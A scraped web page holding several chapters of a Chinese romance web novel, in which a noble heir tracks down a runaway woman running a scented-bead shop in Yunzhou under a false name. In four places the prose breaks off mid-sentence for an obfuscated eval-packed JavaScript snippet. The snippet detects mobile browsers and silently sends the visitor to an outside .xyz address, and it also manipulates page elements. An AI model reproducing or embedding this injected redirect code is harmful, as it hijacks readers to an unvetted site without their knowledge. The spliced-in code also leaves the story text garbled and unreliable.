终于是将这位贵人送走了,那官员站起身来,擦了擦额上的汗,颇有劫后余生之感。 谢宴之命船速速往京城方向去,每到一个渡口,便让人进城去探查一番。 就这样又过了两日,还是一无所获。 谢宴之不禁怀疑,沈清念是不是遭遇了什么不测。 她生得云鬓花颜,又有清丽脱俗之姿,这世间没有几个男子见了能不心动的。 若她真是被谁虏了去…… 谢宴之面上一冷,漆黑的眸子闪着寒光,若真有人敢将沈清念虏了去,他必要那人生不如死! “爷,前面有人落水了!”元青大喊起来。 岸边有个丫鬟也焦急地大声呼救起来。 谢宴之抬眼看去,见湍急的江水中,一女子溺在水里,正仰着头扑水挣扎。 “救人。”谢宴之淡淡说了一句。 元青得了话,麻利地跳入江中,奋力地朝那女子游去,最终在那女子刚沉下去时,将人救了上来。 那女子躺在甲板上,昏昏沉沉之际,见到一个高大挺拔的身影立在眼前,似是在打量她,而后,她便再也睁不开眼,彻底晕厥过去。 “小姐!”岸上的丫鬟也来到了船上,见那女子浑身湿透,赶紧用披风盖住了她。 “把大夫叫过来!”谢宴之吩咐道。 他刚看清了她手腕上的东西,正想问她话,这人就晕了。 元青听出了谢宴之语气里的一丝急迫,不敢耽搁,用了抹了把脸便去船舱里叫大夫去了。 从京城出发时,老夫人担心谢宴之,便叫了一位大夫随行。 那大夫背着药箱急匆匆赶过来,还未来得及行礼,就听谢宴之道:“不管你用何办法,我要她立刻醒过来!” 眼见世子如此紧张眼前的女子,那大夫分毫不敢怠慢,立即放下药箱,蹲下身看了看女子的口鼻,又替她把了把脉。 最后掏出银针在女子的廉泉穴处扎了一下,那女子便咳了起来,将吞进腹中的水尽数吐了出来。 那女子转过头来,这才看清眼前的人剑眉星目,气度斐然,她一时有些羞涩。 偏他还一直看着自己,那女子的脸一下就红了,害羞地低下了头。 “这是何物?从何而来?”谢宴之指着她手腕上的珠串冷冷问道。 刚刚他就是看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312948|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她手上的珠串有些熟悉,才就让元青将人捞起来,好看得清楚些。 女子见状,伸手拨弄了一下那珠串:“这是我父亲买给我的,说是叫合香珠。” 谢宴之心下有些悸动,面上仍是不显:“你可知令尊在何处买的?” 那女子见谢宴之一直与她说话,也收起了羞涩大方回道:“就在云州城中,离这里不远,乘船半个时辰就到了。” 见他一直盯着这珠串,那女子将珠串从手腕上褪下,递到谢宴之面前,含羞带怯道:“公子若是喜欢,我便将它赠与公子。”说完便垂下了眼眸。 他应该懂她的心思吧。 “不必。”谢宴之皱了皱眉,嫌恶地看了那女子一眼,转身就往船的另一头去。 元青见谢宴之没有接那珠串,还有什么不明白的。 他对着那女子道:“既然姑娘已经无事,就请下船回去吧。我家公子还要赶路。” 那女子见元青一身侍卫打扮,本不想搭理他,但想着刚刚那挺拔的身影,脸上又浮现起笑意。 “刚刚多谢小哥相救。” “举手之劳,姑娘快回吧。”元青见她还不走,也有了些不耐烦。 那女子见元青竟是在赶她,脸上险些挂不住。 最终,她抿唇笑了笑,在丫鬟的搀扶下,才颇为温婉地下了船。 只是下了船后,那女子脸上蒙上了一层怒意。 旁边的小丫鬟见状,谄媚道:“小姐,您是没瞧见,方才您晕过去时,那公子有紧张您。” “当真?”那女子脸上的怒意顷刻就散去。 “嗯,那公子让大夫要立刻救醒您呢。”那小丫头回了一句。 闻言,那女子笑容更深,对那小丫鬟道:“去打听打听那是哪家的公子。” “是,小姐。”小丫鬟扶着那女子缓缓向一旁华盖马车走去。 谢宴之的船到云州时,已是日暮西山。 夕阳的残影落在江面,绮丽的晚霞洒入青山。 直到此时,谢宴之才觉这云州城景色绝美。 望着云州城几个大字,他眯了眯眼,喃喃道:“沈清念,我可能要找到你了。” 第八十六章 方娘子是吧 云州城内。 梅花小街上有一间小小的铺子,匾额上用浓墨写着几个字:“苏氏香珠铺”。 铺子里整齐的放着一些黄木色的托盘,盘中放着些香珠,颗颗饱满圆润,馨香似溢。 此刻,沈清念正将新做的香珠一颗颗串在竹签上。 待她将香珠串好一盘后,再将那盘珠子放到屋子里面阴干。 菱儿边在柜边数着铜板,边笑盈盈地看向沈清念。 “小姐,咱们今日又多挣了五百文。” 沈清念笑着看了看菱儿,又继续串珠子。 菱儿不禁感叹自从留在这里,小姐脸上的笑容也多了起来,好像又回到了和夫人在一起的日子。 那时候小姐常常在院子里和她打打闹闹,夫人就在一旁坐着,笑着看她们。 看来小姐的决定没错,既然大公子追去了通州,那她们就留在云城过自己的日子。 沈清念心里也很高兴,她们的生意是一天比一天好了。 还记得刚在云州城开铺子的那天,铺子里一个客人都没有。 现在这样,就能快些还了萧公子的银钱。 也能快点攒到钱,将母亲接到自己身边。 反正她父亲沈昌银只爱银子。 沈清念擦了擦额上的汗,心里很踏实。 现在的日子,不用仰人鼻息,也不用寄人篱下,自在洒脱,母亲定会欢喜的。 “陈公子!”菱儿看到门边的人,高兴地喊了一声。 沈清念听到声音抬头看去,就见一锦袍公子立在门边,看着她。 陈江源原本立在门前看了沈清念还一会儿了。 见她一身鹅黄长裙,低垂着眉,温柔如水。 现在她忽而抬眸一笑望向他,如海棠花绽放,开在了他的心上。 陈江源不禁喉头微滚。 “方娘子!”陈江源快步走到沈清念面前。 “陈公子可是来瞧定做的那串香珠的?”沈清念笑着问道。 陈江源在她这里为他的祖母陈老夫人定了一条香珠,打算生辰时送去当贺礼的。 “嗯,今日我将翡翠珠子也带来了。”说着,陈江源掏出一个荷包递过去。 陈老夫人喜爱金石玉器,也爱檀木珠串。 沈清念便提议他可以在这珠串里加上一些玉石翡翠。 这样既对身体有益,又不失贵重。 陈江源今日就是特意送翡翠珠子来的。 沈清念接过去,指了指眼前这些香珠:“这些就是给陈老夫人的。” 陈江源一看那珠子就很不错。 隐约间,还闻到了一丝熟悉的香味,便问道:“这是沉香的香味?” 沈清念点点头:“嗯,听说陈老夫人夜里睡得不踏实,我便加了一些黄奇楠进去安神。” 原来如此! 他见过沈清念的铺子的奇楠沉香,都是百年沉水的好料子。 自然也是十分名贵的。 “那我要给方娘子补上些银钱。”说着,便要掏出银子来。 沈清念忙推拒道:“陈公子不必客气,就当是我的谢意。” “是啊,是啊,陈公子,这是我们小姐的心意。你就莫要推辞了。” 原来沈清念的铺子刚刚开张没几天,铺子生意好了起来。 这日,几个凶神恶煞的人进来,一句话没说就开始砸她们的铺子。 那领头的人道:“你们也不去打听打听,谁在这里做生意不孝敬孝敬我龙爷。” 沈清念听这话也明白了,幼时就听外祖说过,有些人隔三差五地,就到铺子里收保护费,其实就是一帮地痞流氓。 沈清念不想与他们硬碰硬,便掏出荷包里的铜板递了过去。 可那人收了荷包后,还直直盯着她,笑嘻嘻道:“小娘子,你一人在外也不容易,不若就跟了我?” “这位爷莫要玩笑,我是男子,如何能跟您呢?”沈清念不承认自己是女子。 她是知道自己的样貌如何的,若被人认出是女子,恐怕会惹来祸事。 那人听了这话,竟哈哈大笑起来:“男子?男子的耳垂上怎么会有耳洞?” 其余几人也跟着笑起来。 领头那人说着,就突然伸手将沈清念头上的木簪拔了下来。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312949|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一头乌发顷刻间披散在身后,衬得她面色瓷白,明眸皓齿。 那几人见了,眼里都闪着精光道:“果真是个大美人儿!” 这小娘子容貌昳丽,绝非凡品。 菱儿见状,立即拿着扫帚挡在沈清念身前,对着那些**喊:“快走开,别碰我家小姐!” “哟,这儿还有个小妞呢。” 那些人又摸着下巴,打量起菱儿来。 只是那领头的人突然面色一变,一巴掌就扇了下来,菱儿吓得闭上了眼睛,却没有感到疼。 再睁眼,就见一锦袍公子抓住了那地痞的手,轻轻一用力,便疼得那人龇牙咧嘴。 “陈……陈少!”身后那几人认出了这锦袍公子的身份。 领头的人自认倒霉,今日竟碰到了云州刺史**的儿子陈江源! 陈江源打理着自家三条街的铺子,为人豪爽仗义,身手不凡,人送外号“陈少。” “陈少,我错了,这小娘子给你了。”那人赶紧求饶。 陈江源一脚将他踹到地上:“给这位姑娘赔礼道歉。” 那人便哭嚎着:“小娘子,我错了,我再也不敢了。您快让陈少饶了我吧。” 见状,沈清念只想让他快点消失。 陈江源轻喝一声:“滚!” 那几人才灰溜溜地跑了。 “多谢公子相助。”沈清念对陈江源福了一礼。 陈江源看着眼前容貌清丽的人,笑着道:“姑娘不必多礼,只是举手之劳而已。” “在下陈江源!” 沈清念想了想,温声道:“小女子方为清。” “方为清?”陈江源心中默念了那个名字。 有了陈江源的那次出手相救,再没人来找过沈清念的麻烦,她便也安心地守着铺子。 街边的角落里,一辆马车停在了那里。 元青看着沈清念与那锦袍男子言笑晏晏,心里叹了口气。 爷昨日在马车里坐了一夜,好不容易等到清姑娘出现,眼前却是这样的景象。 “方娘子是吧?” 谢宴之念着这个名字,缓缓放下了帘子。 第八十七章 这位姑娘看起来有些眼熟 “走。”谢宴之淡淡说道。 元青便驾着马车朝前面的胡同而去。 后来,也不知是谁出去宣扬了一番,说这香珠既能留香,又能养身。 好些人都来铺子里买。 她们苏氏香珠铺的生意自然是越来越好。 又到了与香料铺约定的时辰,王伯赶着牛车晃晃悠悠地送香料来了。 这几日,铺子里的香料和药材要得很多,由开始的一小包变成了一**袋。 王伯将牛车停在铺子前,就见方娘子今日头上包着布巾,将如墨的乌发扎成辫子侧在一边。 腰上系着月白色的围裙,挽着衣袖,正专心地揉着香团。 “方娘子,您的香料来了。”闻言,沈清念抬头笑了笑,去旁边的铜盆里净了手,又在围裙上擦了擦。 见王伯吃力地抱起大袋香料,趔趔趄趄地往屋子里走。 她快步走了过来,伸手将王伯的香料接了下来。 “王伯,我们一起抬进去。” 王伯闻言,有些不好意思。 他如今年岁大了,做这些重活已经有些吃力了。 去别的铺子送货时,他总是挨骂,那些掌柜的嫌他年老体迈不中用。 只有方娘子从没对他有过一句重话,甚至还和他一起抬香料。 他心中自是感激不已。 二人将香料抬进院中放好后,沈清念掏出了一粒碎银递过去。 “王伯,这是送货的银钱。” 王伯一看,连连推拒,他做的这点活哪用得了那么多银钱。 最后还是沈清念将银钱硬塞到他手中:“留着给东哥儿上学堂。” 东哥儿是王伯的孙儿,很是聪明伶俐,跟着王伯来过一次。 圆圆的脑袋,大大的眼。 露出两颗虎牙,很是可爱。 还追着沈清念喊天仙娘娘。 这样的孩子,却总是穿着皱巴巴的旧衣裳。 让沈清念心疼不已。 想到自己的儿子儿媳早逝,可怜东哥儿跟着他饱一顿饿一餐的,要想去学堂读书,还要不少银钱,王伯才没有推辞。 连连抹着泪道:“多谢方娘子了。” 看着沈清念的笑容,王伯不禁感叹,不知以后是谁有福气娶到这么好的姑娘。 送了王伯离开后,沈清念又继续揉着香团,偶尔用抬手轻轻擦擦额头和脸颊。 菱儿的手臂早已酸得不行了,甩着两只胳膊,直呼揉香团是个力气活。 看沈清念在一边揉着香团,动作又轻又柔,脸上挂在笑,十分满意自己的杰作。 “小姐,我整天干粗活都受不了这揉香团的活,你那纤纤细手是怎么做到的?” 沈清念看了菱儿一眼,笑了笑:“你呀,就是性子急躁,干不了细活。” 现在的日子这样有盼头,沈清念觉得自己浑身都有用不完的劲儿。 她期待着有一天能在云州再开几间铺子,将外祖的香珠发扬光大。 想到这儿,她嘴角微扬,露出了好看的弧度。 她走到后面的院子里,见院中的梧桐树叶在微风里轻舞,光从叶缝里下来,落在沈清念的脸上,留下一抹明丽的颜色。 忽然,她察觉到一道逼人的目光。 她抬头看去,院子外面又什么也没有。 此刻,谢宴之就在楼上看着她。 她揉那团子似乎很吃力,他看到她频频抬起袖子,擦额上的汗。 揉了一会儿,像是揉好了,她转身净了手,又交替着用手捶了捶手臂。 谢宴之抿着唇,这就是沈清念想过的日子? 为了几个铜板,将自己劳累成这样。 这时,一妇人进到了铺子里,似乎是想要买一串香珠给身边的小女娃。 沈清念热情地笑了笑,嘴上同那夫人和小女娃说着什么,颇有女掌柜的风范。 最后,那妇人给那女娃子买了一串藕粉色的香珠。 他又看见她送那妇人和小女娃出门后,捧着手里的铜板放到钱匣子里,整个人看起来神采奕奕,鲜活又生动。 谢宴之不禁觉着,比起她在靖南侯府时那副柔弱胆小的样子,或许此时的她才是真正的她。 一喜一怒,都是那么的分明,那么地吸引着他。 沈清念直觉后背有道灼热的目光,她再次转身看去,见对面楼上的帘子动了动。 这让沈清念的心有些紧张,难道她又被人盯上了? 直到对面一只白猫跃上窗户,朝她喵喵叫了两声,才打消了她的疑虑。 很快,就到了陈老夫人的八十大寿。 陈江源又来了铺子里。 沈清念见他来了,将香珠拿了出来。 陈江源正要将珠串放到锦盒里,沈清念阻止了他。 “陈公子,这翡翠香珠串十分贵重,普通的锦盒可不行。” “为何?”陈江源有些不解。 沈清念道:“香珠是香料和药材制成,若想要它留香时间够长,就要妥善保存。” 陈江源没想到香珠还有这些讲究。 不过想想也是,他们云州城从前没有过香珠,他自然不知它的妙用与忌讳,更不知如何保存。 不过,他转念一想,心情一下又畅快起来。 **,他祖母肯定也不会知道。 这倒是个好机会! 这些日子,虽然方娘子每回见他的时候,脸上都是挂着笑意的,但又对他过于有礼了些,好像是刻意保持着疏离。 陈江源故意皱着眉道:“想不到这香珠竟有这么多讲究,我听着头都大了。” “不知方娘子可否随我入府,将香珠的妙处和忌讳详细告知我祖母?” 想着这么贵重的香珠串若因保存不当而毁了,沈清念心里觉得很可惜。 这香珠花费了她不少心血。 但让她上陈府去,似乎又不妥。 陈江源看出了她的顾虑,想了想又说:“若非常祖母腿脚不便,也不敢劳烦方娘子走这一趟。” 原是这样吗?罢了,那就随陈公子走一趟吧。 沈清念点点头说道:“我愿随陈公子走一趟,只是不想叫旁人看了去,传出什么不好的言语。” 陈江源见沈清念愿意去,高兴道:“方娘子放心。” 让菱儿看好铺子后,沈清念便随陈江源到了府上。 今日是陈老夫人八十大寿,阖府上下都布置得喜气洋洋。 进到陈府,就觉着陈府里面的景色很是精致。 沈清念刚迈进陈府大门,就见脚下是蜿蜒的石板路,或直或曲。 周围素雅的**墙上,爬满了藤蔓。 越往里走,就越能瞧见院中的花木繁茂,又有些海棠点缀其中,似胭脂点点,让人有种远离尘世浮华之感。 沈清念有些惊叹,这陈府的景致当真是精致,难怪陈江源身上也有着那种风雅的气质。 陈江源带着沈清念穿过庭院,到了水榭戏台处。 众人正津津有味地看着戏。 陈江源扫视了一下,见老夫人一人坐在水榭最中央的看台上,跟着台上的大青衣哼着戏曲。 他便让旁边的小厮悄悄去老夫人耳边告知了一声。 陈老夫人转过头,见陈江源来了,眉眼里堆了笑,再看旁边戴着帷帽的人儿,那笑容更深了。 “源哥儿来啦?” 陈江源走上前,立在中间,双手拱礼道:“孙儿祝祖母松鹤延年,日月同辉。” 说着,双手呈上一只木盒。 陈老夫人被陈江源哄得合不拢嘴,见那木盒时,眼里难藏惊喜。 那木盒正是她喜欢的奇楠木制成的,这十分难得。 她对盒子里的东西越发起了兴致,立即就打开了盖子。 只觉阵阵奇楠香气入鼻,再看那圆黑的珠子泛着光泽。 “这是何物?”老夫人看向陈江源。 陈江源看向了沈清念,嘴角上扬,眉目间透着一脸的骄傲。 “这珠串又这位方娘子所做,祖母有什么想问的问方娘子最合适不过了。” 沈清念听见陈江源的话,上前一步朝陈老夫人福了一礼道:“祝老夫人福寿安康。” 老夫人嘴上轻飘飘说着:“多谢方娘子。”实则在仔细打量着沈清念。 见她福礼时身体微微颔首,双手交叠,缓缓屈膝。起身时,身姿依旧挺直,含笑垂眉,显得恭敬,又不失女儿家的婉约。 全然不似商户女子,浑身市侩之气。相反,这方娘子身上到是有股闺秀的端庄。 她赞许地点了点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312950|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “方娘子快告诉老婆子,这到底是何物啊?”老夫人开口问道。 “这是我家乡之物,名为香珠,是用香料和药材磨成粉做的。” 老夫人再看了看手中的香珠,难以相信它们都是由香料的粉做成的。 那圆黑的珠子中间又用了一些翡翠隔开。 翡翠的绿衬得香珠的黑越发光泽莹润,而香珠的黑则显得翡翠绿到极致。 陈老夫人从前的珠串都是乌木色或者黑色,像这样用玉石来配的,她还是头一次见。 陈老夫人连连赞叹:“方娘子不仅制香珠手艺高超,心思也精巧。” 此时,戏台上的戏曲唱罢。 众人才注意到有位戴着帷帽的娘子正跟陈江源站在一起,一个是倜傥公子,一个温婉淑女,属实是相配的。 陈江源见祖母很是喜欢沈清念,心里也很高兴。 “孙儿今日邀方娘子过来给您说说这香珠的妙用之处。” 老夫人又瞥见陈江源一直含笑看着沈清念,眼里是难得的温情。 心里还有什么不明白的。 她这孙儿八成是看上这方娘子了。 老夫人朝沈清念招了招手,将人招到跟前儿来,拉着沈清念的手说道:“方娘子坐我老婆子边上与老婆子仔细说道说道。” 说着,便让丫鬟端了凳子,硬要沈清念坐下。 陈老夫人的示好让沈清念有些受宠若惊。 她原本与陈江源说好了,只待陈老夫人宴席散了以后,单独与老夫人说的。 眼下,众人看着她,那目光像在瞧新媳妇一样,让她浑身都不自在,站在那里,左右为难。 陈江源见祖母这样,心中埋怨道祖母也太着急了。 方娘子与他相识不过半月,对他尚且没有男女之情。 祖母这样做,岂不是将方娘子架在火上烤! 那以后他再想求得她的心就难了。 陈江源急忙道:“祖母,方娘子铺子里还有要事,孙儿先送她回去了。” 沈清念一听,心下一松,颇有些感激地看向陈江源。 此时,戏台外又有小厮来报,“老夫人,老爷回来了,说是有贵客过府了。” 老夫人心里明白,儿子提前让小厮过来告知她一声,那贵客肯定不一般。 老夫人在丫鬟的搀扶下刚站起身,就见自家儿子陪着贵人过来了。 沈清念低着头,跟着众人行礼,只听见老夫人喊了一声:“老身见过世子。” 她心里一惊,怎么又是世子?她现在听到这两字,都还心有余悸。 她又转念一想,这世上有那么多世子,不见得来的就是那靖南侯府的世子。 不能自己吓唬自己。 紧接着就听见一个清冷的声音:“恭贺陈老夫人八十大寿之喜。” 这声音里那种冷冽,沈清念再熟悉不过。 她猛然抬起头,见谢宴之就在她身边一寸的地方,他身上那淡淡的雪松气息就绕在她的鼻尖。 她心跳如擂鼓。 随后又安慰自己,还好她戴着帷帽,又不曾出声,谢宴之应当认不出她来。 此时,陈刺史又指着一旁的陈江源道:“世子,这是犬子陈江源。” 谢宴之抬眸看向陈江源,见他面容干净清俊,眼角含笑。不过和他比起来,陈江源看着没有那么英武。 陈江源早就听说过靖南侯世子谢宴之是天子近臣,他还以为那世子应当年长他许多。 今日一见,没曾想这靖南侯世子竟是与他一般的年纪,他心里的崇拜之意油然而生,拱礼道:“世子。” 谢宴之微微颔首:“陈公子。” 而后,谢宴之与陈江源父子坐下论事,全然没有注意身旁的沈清念。 甚至,都不曾察觉这里有一个女子般。 与谢宴之一番探讨下来,陈江源觉着心中所获良多,对谢宴之更加敬佩起来。 而沈清念见谢宴之此时正襟危坐,清冷高贵。 不禁感叹,难怪世人都被他的外表骗了。 他此时看着就是风光霁月的世子模样。 趁着他们三人没注意,沈清念悄悄起身,想要离开。 身后却传来一道凛冽的声音:“这位姑娘看着有些眼熟。” 第八十八章 仿佛在说她根本逃不掉 在场的人闻言,都纷纷顺着谢宴之的目光看过去。 沈清念的手指攥紧了裙边,站也不是,坐也不是。 陈江源见谢宴之看着沈清念,便说道:“这位是方娘子,是苏氏香珠铺的掌柜。” 沈清念见状,只好朝着谢宴之微微屈身福了一礼。 陈老夫人见谢宴之眼皮都没眨一下地看着沈清念,心里也有了几分猜测。 男子总是容易被美貌的女子迷惑,连这清冷的世子也不例外。 只是若世子真对方娘子有意,那她的孙儿…… 陈老夫人又看了一眼陈江源,心里叹了口气。 如论世子有没有瞧上这方娘子,她都是不会让陈江源娶方娘子为妻的。 几息之间,陈老夫人就已经权衡好了利弊。 她拿出那香珠,笑呵呵道:“方娘子技艺高超,瞧瞧这香珠,我喜欢得紧。” 谢宴之看着陈老夫人手中的香珠,想起了沈清念从前送他的那条。 只是已经被他命人拿去烧掉了。 陈刺史看了看那珠串,一看就是花了许多心思的,看着就不是凡品。 他捋了捋下巴的胡子,点了点头,只觉着方娘子的香珠做得极好。 但又看她戴着帷帽,不免有些不解。 一个商贾娘子,成日做的就是抛头露脸的事,现在还戴着帷帽做什么。 况且,在世子面前,不以真面目示人,就是缺了礼数,实在是不敬。 看来这方娘子也并不是个做事妥帖之人。 谢宴之见陈江源看着沈清念的眼满含笑意,他的眼眸染上一层寒霜。 只是顷刻间,又恢复了平静。 轻薄的面纱下,那张白皙的脸若隐若现,让人看不真切。 谢宴之淡淡地看了她一眼:“原来是方娘子。” “只是方娘子身形纤瘦,又会一手制香珠的手艺,实在是与我表妹十分相似。” 众人这才知道,原来谢宴之是将方娘子认成了自己的表妹。 沈清念听他说表妹两字,脸色僵了僵。 他有几个会制香珠的表妹!他应当就是说的她。 又见他一直看着自己,她也不敢确定他会不会突然起身,扯掉她的帷帽。 “你真的不是我表妹吗?” 众人又听到谢世子问了一句,再看谢世子原本冷硬的眸子里含了一丝深情。 想来,那表妹定是谢世子心中所念之人。 众人又看向了那方娘子。 听到别人误将自己认错,方娘子也应当取下帷帽,自证自己。 可他们只听那方娘子淡淡一句:“世子的确是认错人了。” 众人面面相觑,这方娘子是挺勇的。 不仅敢直接说出谢世子认错了人,还没有一点要将帷帽取下来的意思。 沈清念刚刚回话时,并没有刻意遮掩声音,以免引起陈江源他们的怀疑。 她也想清楚了,即使谢宴之认出了她,至少现在在陈府, 他要寻她的麻烦,也得等她离了陈府以后。 谢宴之听到这话,神色有些落寞,好像他是真的认错了人一般。 对着沈清念道:“方娘子连声音也像她,我属实是有些分不清,姑娘勿怪。” 他说完,转过身时,还看了一眼沈清念。 沈清念心神一松,谢宴之这样子,似乎是没有认出她来。 虽然她觉得谢宴之已经知道是她了。 陈刺史悄悄给了陈老夫人一个眼色。 陈老夫人心领神会,笑呵呵道:“方娘子,你能否将帷帽取下,让世子看看你究竟是不是那表妹?” 她说完,瞥了一眼谢宴之,见他面容虽然冷峻,眼睛却一直看向方娘子。 沈清念听了,明白陈老夫人是想讨好谢宴之,但她可不想惯着他。 于是,沈清念略微一思索,有些歉意道:“我脸上出了许多红疹,不便见人,还请世子及老夫人见谅。” 老夫人心下明了,女子都爱容颜。 谁又愿意让外面的人,尤其是偏偏公子看到自己满脸红疹的狼狈样。她也就安抚了儿子一眼,不再试着说服沈清念取下帷帽。 而陈江源听沈清念这样说,就知她是不愿摘下帷帽。 毕竟他早上去香珠铺子里找她时,她瓷白的脸上干干净净,白里透红,看着吹弹可破,没有一丝瑕疵,更别说疹子了。 谢宴之转了转扳指,冷冷道:“既然方娘子有些不便,那就早些回吧。” 听到这话,沈清念有些不敢相信他就这样轻易放过了她。 但既然他让她走,她就赶紧离开。 于是,她又向众人福了一礼,袅袅娜娜地朝陈府的大门走去。 “方娘子,我送你!”陈江源转身就要去追。 却被陈刺史一把抓住。 陈江源看明白了父亲的眼神,谢世子在这里,陈刺史并不许陈江源送沈清念回去,怕怠慢了贵人。 谢宴之见状,撇了撇嘴,透着一些轻蔑。 倒是个痴情的。 陈江源看着沈青年逐渐远去的身影,重重叹了口气,又去陪谢宴之喝茶去了。 最终,陈刺史只是叫管家派了一辆马车将沈清念送了回去。 沈清念跌跌撞撞回了铺子,在马车上的时候,她也想明白了,谢宴之定是认出了她的。 只是不知他为何不戳破她。 就这样,沈清念提心吊胆地过了几日,谢宴之却没有再出现过。 沈清念一边心不在焉地揉着铜盆里的香团,一边思忖着。 难道谢宴之当真只是路过这里,现在已经回京城去了? 难道他其实并没有认出她来? 又或者她逃走伤了他的心,他放过她了? “小姐,香团揉坏了!”菱儿看到,出声提醒了一声。 她觉着小姐这几日有些闷闷不乐。 揉香团时也揉得不似从前那般用心。 她终于忍不住出声问道:“小姐,你这几日瞧着怎么有些心绪不宁?” 沈清念反应过来,手中的香团因揉的时间太长,不再滋润,有些地方已经裂开了一些口子。 她忙将香团沾了些清水,重新揉起来,又听菱儿这样问了一句,淡淡道:“世子来云州了。” “砰”的一声,菱儿手里的木盘摔在地上,里面的香珠四处滚落。 大公子来了云州? 要是小姐被他抓住了可怎么办? 小姐的香珠铺子生意才刚好起来,眼下难道又要丢了铺子逃走? 菱儿一边捡着香珠,一边问道:“小姐,那我们还逃么?” 比起这间铺子,小姐应该更不想被大公子抓回去。 沈清念坐到柜台后面,以手扶额,面上露出淡淡的忧愁。 若谢宴之真是来抓她的,他明明认出了她,又为何几日都不曾露面。 正思忖着,外面传来了一阵爽朗的笑声。 “世子,方娘子的铺子到了。”沈清念抬头,见陈江源立在一旁,让谢宴之先进铺子。 沈清念有些猝不及防,待反应过来时,她的脸已落入他的眸子里。 她有些慌乱。 谢宴之的目光微寒,透着一股令她毛骨悚然的压迫之势。 她别开了眼,心乱如麻。 谢宴之看向她的眼神里,分明有些阴鸷,那微微扬起的嘴角,似笑非笑。 沈清念知道,那是他惯有的要使坏的表现。 “方娘子!”陈江源终于走了过来,将她从谢宴之那深渊般的眸光里解救出来。 沈清念抬头,陈江源已然立在她跟前。 “方娘子,谢世子看了祖母的香珠,很是喜欢。” “我就带他过来你铺子里瞧瞧。” 说着,陈江源眉眼含笑望着她,那眼神像在跟她邀功一样。 毕竟,他可是为她带来了这样一个不差钱的大主顾! 看着陈江源那模样,沈清念心中颇感无奈。 见沈清念愣在原地没有动作,也没有一句言语。 以为她是受宠若惊,高兴得不能言语了。 陈江源推了推她的手臂,向她使了一个眼色:“快将铺子里品相好的香珠都拿出来给世子瞧瞧。” 然后,又颇为体贴地说了一句:“世子为人亲和,你不必害怕。” 对陈江源的话,沈清念是一个字都不会相信。 她只觉得谢宴之刚刚进门那一眼,似乎要将她射穿。 那神情看似平静,实则暗藏危机。 她又看向谢宴之,二人四目相对时,沈清念发现谢宴之的眼里是一片清明,没有一丝危险的气息,仿佛刚刚那只是她的错觉。 “世子,这条不错。”陈江源见沈清念只是看着谢宴之。 他忽然觉着他们二人之间的氛围有些不对。 他怕方娘子怠慢了谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312951|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世子,引得谢世子不悦,便主动打了圆场。 “方娘子,你给世子说说这条吧。” 陈江源说完,看向沈清念。 沈清念脸上挤出一个笑:“世子矜贵,我这铺子里的香珠太过普通,实在是配不上世子。” 她只想陈江源快点将谢宴之带走。 说着,沈清念便欲将那香珠放回盘子里。 在那一瞬间,谢宴之忽然伸手接住了那条香珠:“这条挺好。方娘子不要妄自菲薄。” 他的眼又那样看着她,看得沈清念心里发慌。 更令人不适的是,谢宴之刚刚接过香珠时,也不知是有意还是无意的,他的指尖轻轻划过沈清念的手背,像一根羽毛轻轻扫过。 沈清念如同触电一般,猛地收回手。 又立刻抬眼看向谢宴之,眼里满是疑惑和质问。 却只见谢宴之嘴角微微翘起,眼里却没有一丝波澜,淡淡开口: “既然本世子看上这条,不论它普不普通,都没有放手的道理。” 听了这话,沈清念的脸一下发白。 他是在说他不会对她放手吗? 是了,以他的性子,怎会那么轻易放过她? 只是她也不知谢宴之为何不在陈江源面前戳穿她。 但她隐隐觉着暴雨就要来了。 菱儿见自己小姐脸色发白,心里不禁有些埋怨。 陈公子真不该带大公子来! 菱儿觉着她和小姐平静的日子,就要到头了。 “那世子可是要这条了?”陈江源见谢宴之拿着那条香珠,一直不曾放下。 他琢磨着,谢世子应该是喜欢这条的,又听见谢宴之说不会放手,那方娘子今日又有银钱入账了。 “嗯。”谢宴之将那珠串直接戴在了手腕上,又掏出了银子,递了过去。 